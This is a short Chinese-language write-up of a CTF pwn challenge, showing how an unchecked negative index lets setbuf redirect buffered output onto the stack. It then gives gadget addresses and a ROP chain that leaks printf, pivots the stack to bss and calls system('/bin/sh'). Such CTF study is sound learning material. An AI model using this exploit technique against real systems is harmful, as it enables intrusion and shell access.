天天看点

CTF 中setbuf利用笔记

主要参考 https://paper.seebug.org/450/ (CTF PWN 题之 setbuf 的利用) 这篇文章,写的比较随意,就是整理一下思路:

首先看漏洞点

CTF 中setbuf利用笔记

v3是用户输入的,可以控制,而且基本上没有限制,只要输入小于等于2就行,再看off_804B048处:

CTF 中setbuf利用笔记

程序的本意是想让我们调用no xor re这三四个函数,但是由于没有限制输入的数据,导致可以输入负数调用上边的setbuf printf等等函数

又因为(*(&off_804B048 + v3))(s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4)); 函数的参数是没办法控制的,所以这个地方是考虑到调用setbuf函数,也就是setbuf(s,(void *)(264 * v4 + a1 + 8))

stream = fopen("/dev/null", "a");

size_t __cdecl no(FILE *s, void *ptr, size_t n) { size_t v4; // [esp+Ch] [ebp-Ch] v4 = fwrite(ptr, 1u, n, s); if ( v4 != n ) error(); return v4; } 由上边这两段代码,所以用户输入的数据都会复制(而且是追加方式)到s,也就是stream,由于我们刚才的设置,所以输入的数据都会复制到(void *)(264 * v4 + a1 + 8),复制多了就会导致栈溢出了。。。。 memset(&v4, 0, 0x528u);

再看一下rop链的构造: gadget1 = 0x08048dab # pop ebp ; ret gadget2 = 0x080485f8 # leave ; ret gadget3 = 0x08048495 # pop ebx ; ret gadget4 = 0x08048daa # pop edi ; pop ebp ; ret gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret one_gadget_sh = 0x56ff5 read_buf = 0x080486D9 stdin_bss = 0x804B060 bss_buf = 0x804b700 rop1+=p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf) rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin) rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)

首先调用printf打印出printf的函数地址,这样就可以获取system bin/sh 的地址了 再调用read函数 (这个read函数是自定义的)读取用户输入的数据到bss段 然后调用 gadget1 使ebp=bss_buf ,再调用gadget2使esp=ebp pop ebp 最后返回到bss+4处执行 ,最后那个 p32(bss_buf)可以删除 这样用户再输入数据 rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) 就会在bss+4处执行,正好执行了system('/bin/sh')

具体还是看一下文章开头那篇文章吧 介绍的很详细。

参考资料: 1. https://paper.seebug.org/450/ 2. https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn